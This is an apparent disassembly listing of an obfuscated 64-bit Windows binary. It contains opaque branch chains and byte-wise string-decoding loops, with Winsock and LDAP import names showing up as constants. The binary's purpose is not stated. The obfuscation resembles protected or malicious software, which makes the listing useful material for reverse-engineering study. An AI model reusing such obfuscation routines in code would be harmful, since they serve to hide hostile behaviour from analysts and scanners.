lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400773e5
movabs rdx, 0x10259a9f7d604120
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
movabs rcx, 0x36471c5008161de8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
movabs rdx, 0x5c689e0092cbfab0
jmp 0x140076f64
movabs rcx, 0x828a1fb11d81d778
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x140076812
movabs rdx, 0xa8aba161a837b440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140076812
movabs rdx, 0xcecd231232ed9108
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x14007732b
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x140076ea9
movabs rcx, 0x6cef3f27baa5119c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140076cf6
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140076ee6
movabs rcx, 0xdf405c849f14e398
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140076f12
movabs rcx, 0x92fd592389a92a08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x1400773e5
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140076f51
movabs rcx, 0x46ba55c2743d7078
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140076f82
movabs rdx, 0x2098d411e98793b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400772a8
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140076cf6
movabs rdx, 0xd455d0b0d41bda20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140076812
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140076ff1
movabs rdx, 0xcee08ac6ee9f5564
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007732b
inc rax
cmp r9, rax
jne 0x140077027
movabs rdx, 0x829d8765d9339bd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140076812
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007706b
movabs rdx, 0x365a8404c3c7e244
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140077093
movabs rcx, 0x103902543912057c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x1400773a7
lea rax, [r8 + 9]
cmp r9, rax
jne 0x140076ca5
movabs rdx, 0x9dd47d4298f06f24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140077116
movabs rcx, 0xbe80b9093e29c730
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
inc rax
cmp r9, rax
jne 0x140077146
movabs rdx, 0x985f3758b373ea68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077416
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140077185
movabs rcx, 0x25fab24713525410
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140076c53
movabs rcx, 0xd9b7aee5fde69a80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140076812
mov byte [rbp + rdi + 0xb40], r11b
inc rdi
jmp 0x140076812
movabs rdx, 0x4131a823d30f2760
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xb40]
add r11b, dl
add r11b, bl
jmp 0x1400772a8
movabs rdx, 0x1b10267348594a98
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xb40]
sub r11b, 0x28
add r11b, dl
jmp 0x1400773e5
movabs rcx, 0x98729f0d6f25aec4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
movabs rdx, 0xe4b5a26e84916854
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x1400773e5
movabs rdx, 0x571a278024b2feac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xae20e74b8db438fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xb40], cl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
movabs rdx, 0xc97eac91c4d49504
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x14007732b
movabs rcx, 0x15c1aff2da404e94
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
movabs rcx, 0xd44268fc186a15c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x5c
add cl, bl
mov byte [rbp + rdi + 0xb40], cl
inc r8
dec rdi
inc rdi
jmp 0x140076812
movabs rdx, 0x3be331a364f62b5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x140076812
movabs rcx, 0xd46938658fcd9e7c
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140076812
mov rbx, r10
movabs rcx, 0xfa8aba161a837b44
add rcx, rdi
and r10b, cl
mov eax, reloc.WS2_32.dll_select
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
movabs rdx, 0x87ff659b02fe5c34
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6c
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xb40], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0xf4eea4c2bda36dd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xb40], cl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
movabs rdx, 0x46cdbd772fef34d4
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xb40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140076812
movabs rcx, 0x984bcfa3f7c2260c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x14007680e
movabs rdx, 0xbe6d5154827802d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400767f3
lea rcx, [rbp + 0x167e010]
jmp 0x1400774fc
lea rcx, [rbp + 0x14cf1ac]
jmp 0x1400774fc
lea rcx, [rbp + 0xb40]
mov rdx, rsi
call fcn.140035c60
lea rdx, [0x14022a0e0]
lea rcx, [rbp + 0x4c8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230160]
call fcn.14006a650
mov rcx, rax
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0xb68], 0xfd
mov byte [rbp + 0xb69], 0x90
mov byte [rbp + 0xb6a], 0xef
mov byte [rbp + 0xb6b], Ordinal_45
mov byte [rbp + 0xb6c], 0xc0
mov byte [rbp + 0xb6d], 0xf8
mov byte [rbp + 0xb6e], 0xf2
mov byte [rbp + 0xb6f], reloc.WS2_32.dll_ntohs
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb70], xmm0
mov qword [rbp + 0xb80], rax
mov word [rbp + 0xb88], ax
mov byte [rbp + 0xb8a], al
movabs rsi, 0xba8369821d071879
movabs r13, 0x214335c93e55abd5
movabs r14, 0xf7e3444d8844ca7
movabs r15, 0xccf7c8b25bd8f4fd
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400783c7
movzx r11d, byte [rbp + rbx + 0xb68]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400783be
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007761c
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x2d
jmp 0x140077662
je 0x140078339
inc rax
cmp r8, rax
je 0x1400782d5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400782a2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007826b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007820d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400781e3
cmp r9, rbx
ja 0x1400783b5
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14007768f
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4f
jmp 0x1400776c2
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007818f
inc rax
cmp r8, rax
je 0x140078162
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007812b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400780f7
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140077d62
nop
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140077d39
lea rax, [r9 + 8]
cmp r8, rax
je 0x140077d0b
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140077cdc
lea rax, [r9 + 2]
cmp r8, rax
je 0x140077cb3
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140077c7c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140077c43
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140077c1a
lea rax, [r9 + 1]
cmp r8, rax
je 0x140077bf6
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140077bbc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400776d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140078391
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007836d
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400778bd
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400778a2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140077887
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140077b5e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140077afc
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140077ab0
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140077a81
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400776d0
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140077a4c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140077a23
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400779fa
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400779c6
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007798a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140077961
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140077937
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140077905
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400778e1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400776d0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 4]
jmp 0x1400776d0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
jmp 0x1400776c2
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
jmp 0x140077662
movabs rcx, 0x8a715d1fdf2d9d53
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x45
jmp 0x1400775e5
movabs rcx, 0xd41b4c10e838c3c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x1400781ae
movabs rdx, 0x9194e07e6b8d6c1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x4f0e74ebeee21474
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
dec rbx
inc rbx
jmp 0x1400775d2
movabs rdx, 0xc8809597236bcca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007822c
movabs rdx, 0xca019dc6f58b6520
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x877b323478e00d76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rdx, 0x44f4c6a1fc34b5cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400780bf
movabs rdx, 0x26e5b0f7f895e22
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400782f3
movabs rcx, 0xbfe7ef7d02de0678
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
movabs rcx, 0x1997e28ecb31ab4f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
mov byte [rbp + rbx + 0xb68], r10b
inc rbx
jmp 0x1400775d2
movabs rcx, 0xd71176fc4e8653a5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
cmp r9, 0x41
jb 0x140077aa0
movabs rcx, 0x40c76e2ed62276de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x24]
jmp 0x1400781ae
movabs rcx, 0x948b0b69d1dafbfb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x23
cmp r8, 0x80
jae 0x140078068
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140077f95
movabs rdx, 0xa7873a75f7710a3a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140077acf
movabs rcx, 0x52049fd7552fa451
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x140078099
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140077ea8
movabs rcx, 0xed03d0f3da69f1c1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
jmp 0x140077b1b
movabs rdx, 0x5f14790cae2a92d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
movabs rcx, 0x1c8e0d7a317f3b2c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
jmp 0x1400782f3
movabs rdx, 0xda07a1e7b4d3e382
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400780bf
movabs rdx, 0x9781365538288bd8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x54facac2bb7d342e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rdx, 0x12745f303ed1dc84
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007822c
movabs rdx, 0xcfedf39dc22684da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x8d67880b457b2d30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x1400775d2
movabs rdx, 0x4ae11c78c8cfd586
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400781ae
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140077d86
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
jmp 0x140077b7d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077dc9
movabs rdx, 0x7506d3043a0e30f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
inc rax
cmp r8, rax
jne 0x140077dfa
movabs rdx, 0xfa13aa293364e046
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400780bf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077e3a
movabs rcx, 0x7f20814e2cbb8f9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077e6c
movabs rdx, 0xc1a6ece0a966e744
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007822c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140077b7d
movabs rdx, 0x42d587326123eee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077ed5
movabs rcx, 0x2f8a3c865715496b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
jmp 0x1400781ae
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140077f15
movabs rcx, 0x39a3ead049c2a813
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077f52
movabs rcx, 0x7c2a5662c66dffbd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140077b1b
movabs rcx, 0x43bd991a3c7006bb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1d
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077fd3
movabs rcx, 0xea0da608741c61e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
movzx eax, byte [rbp + rbx + 0xb68]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400775d2
inc rax
cmp r8, rax
jne 0x140078004
movabs rdx, 0x6f1a7d2d6d731138
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400780bf
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078037
movabs rcx, 0x79342b7760206fe0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400775d2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077acf
movabs rcx, 0xfe41029c59771f34
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400781ae
movabs rdx, 0x834dd9c152cdce88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xb68]
add r10b, dl
add r10b, r11b
jmp 0x14007822c
movabs rcx, 0xc5d44553cf792632
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xb68]
lea r10d, [r11 + rcx]
sub r10b, 0x5e
movabs rdx, 0xe7177b1d0dced207
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x31
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xb68], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400782f3
movabs rcx, 0x49a9eef1090b2675
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x723835e8c5fcecb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x3f9040a7165dc7cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
inc r9
dec rbx
inc rbx
jmp 0x1400775d2
movabs rcx, 0xfd09d51499b27023
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
movabs rcx, 0x620aa3f8147822b3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x1b
add r11b, cl
mov byte [rbp + rbx + 0xb68], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400775d2
movabs rcx, 0xf2f026caa705117b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
dec rbx
inc rbx
jmp 0x1400775d2
movabs rcx, 0xb069bb382a59b9d1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x49
movabs rcx, 0xa4910f8a91237a5d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x75
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xb68], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x6de34fa5adae6227
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
movabs rcx, 0x2b5ce41331030a7d
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x6b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400775d2
mov r11, rdx
movabs rax, 0xa6500cee37ac5b29
add rax, rbx
and dl, al
